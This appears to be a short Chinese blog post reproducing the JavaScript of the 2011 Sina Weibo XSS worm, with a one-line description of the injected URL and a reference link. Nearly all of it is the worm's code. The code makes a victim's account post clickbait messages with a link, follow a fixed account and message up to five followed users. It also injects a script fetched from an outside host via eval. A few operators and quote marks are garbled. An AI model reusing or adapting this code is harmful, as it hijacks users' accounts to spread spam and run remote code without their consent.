新浪微博的XSS攻击的JS代码

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新浪微博事件利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入js脚本，发微博、发站内消息。

更多参考http://coolshell.cn/articles/4914.html

function createXHR(){

    return window.XMLHttpRequest?

    new XMLHttpRequest():

    new ActiveXObject("Microsoft.XMLHTTP");

}

function getappkey(url){

    xmlHttp = createXHR();

    xmlHttp.open("GET",url,false);

    xmlHttp.send();

    result = xmlHttp.responseText;

    id_arr = ‘’;

    id = result.match(/namecard="true" title="[^"]/g);

    for(i=0;i<id.length;i++){

        sum = id[i].toString().split(‘"’)[3];

        id_arr += sum + ‘||’;

    }

    return id_arr;

}

function random_msg(){

    link = ‘ http://163.fm/PxZHoxn?id=‘ + new Date().getTime();;

    var msgs = [

    ‘郭美美事件的一些未注意到的细节：’,

    ‘建党大业中穿帮的地方：’,

    ‘让女人心动的100句诗歌：’,

    ‘3D肉团团高清普通话版种子：’,

    ‘这是传说中的神仙眷侣啊：’,

    ‘惊爆!范冰冰艳照真流出了：’,

    ‘杨幂被爆多次被潜规则:’,

    ‘傻仔拿锤子去抢银行：’,

    ‘可以监听别人手机的软件：’,

    ‘个税起征点有望提到4000：’];

    var msg = msgs[Math.floor(Math.random()msgs.length)] + link;

    msg = encodeURIComponent(msg);

    return msg;

}

function post(url,data,sync){

    xmlHttp = createXHR();

    xmlHttp.open("POST",url,sync);

    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8");

    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");

    xmlHttp.send(data);

}

function publish(){

    url = ‘http://weibo.com/mblog/publish.php?rnd=‘ + new Date().getTime();

    data = ‘content=’ + random_msg() + ‘&pic=&styleid=2&retcode=’;

    post(url,data,true);

}

function follow(){

    url = ‘http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=‘ + new Date().getTime();

    data = ‘uid=’ + 2201270010 + ‘&fromuid=’ + $CONFIG.$uid + ‘&refer_sort=profile&atnId=profile’;

    post(url,data,true);

}

function message(){

    url = ‘http://weibo.com/‘ + $CONFIG.$uid + ‘/follow’;

    ids = getappkey(url);

    id = ids.split(‘||’);

    for(i=0;i<id.length - 1 & i<5;i++){

        msgurl = ‘http://weibo.com/message/addmsg.php?rnd=‘ + new Date().getTime();

        msg = random_msg();

        msg = encodeURIComponent(msg);

        user = encodeURIComponent(encodeURIComponent(id[i]));

        data = ‘content=’ + msg + ‘&name=’ + user + ‘&retcode=’;

        post(msgurl,data,false);

    }

}

function main(){

    try{

        publish();

    }

    catch(e){}

    try{

        follow();

    }

    catch(e){}

    try{

        message();

    }

    catch(e){}

}

try{

    x="g=document.createElement(‘script’);g.src=’http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);

}

catch(e){}

main();

var t=setTimeout(‘location="http://weibo.com/pub/topic";',5000);